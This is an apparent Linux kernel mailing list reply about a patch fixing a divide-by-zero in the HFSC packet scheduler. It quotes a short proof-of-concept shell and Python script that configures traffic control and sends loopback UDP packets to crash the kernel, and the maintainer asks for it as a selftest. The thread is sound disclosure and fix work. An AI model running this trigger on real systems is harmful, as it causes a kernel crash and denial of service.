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Date: Thu, 26 Mar 2026 12:21:37 -0700
From: Jakub Kicinski <kuba@kernel.org>
To: Xiang Mei <xmei5@asu.edu>
Cc: security@kernel.org, netdev@vger.kernel.org, pabeni@redhat.com,
 jhs@mojatatu.com, jiri@resnulli.us, davem@davemloft.net,
 edumazet@google.com, horms@kernel.org, bestswngs@gmail.com
Subject: Re: [PATCH net v2] net/sched: sch_hfsc: fix divide-by-zero in
 rtsc_min()
Message-ID: <20260326122137.4aae1d46@kernel.org>
In-Reply-To: <g5kyhh74rriqg4ayz5txfqqtxpuklzu4kbkmcwihqpvyv4xq2s@xcpvtqh7bh5g>
References: <20260326075851.3967598-1-xmei5@asu.edu>
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On Thu, 26 Mar 2026 11:54:52 -0700 Xiang Mei wrote:
> PoC:
> ```sh
> #!/bin/sh
> ip link set lo up
>=20
> tc qdisc replace dev lo root handle 1: \
>     stab overhead 3000000 mtu 0 tsize 0 \
>     hfsc default 1
> tc class replace dev lo parent 1: classid 1:1 hfsc \
>     rt m1 32gbit d 1ms m2 0bit \
>     ls m1 32gbit d 1ms m2 0bit
>=20
> # Send UDP to loopback (same method as C PoC)
> python3 -c "
> import socket,time
> s=3Dsocket.socket(socket.AF_INET,socket.SOCK_DGRAM)
> s.sendto(b'A'*64,('127.0.0.1',1337))  # activate class
> time.sleep(1)                           # drain =E2=86=92 idle
> s.sendto(b'A'*64,('127.0.0.1',1337))  # reactivation =E2=86=92 div-by-zero
> "
> ```

Please turn this into a TDC selftest.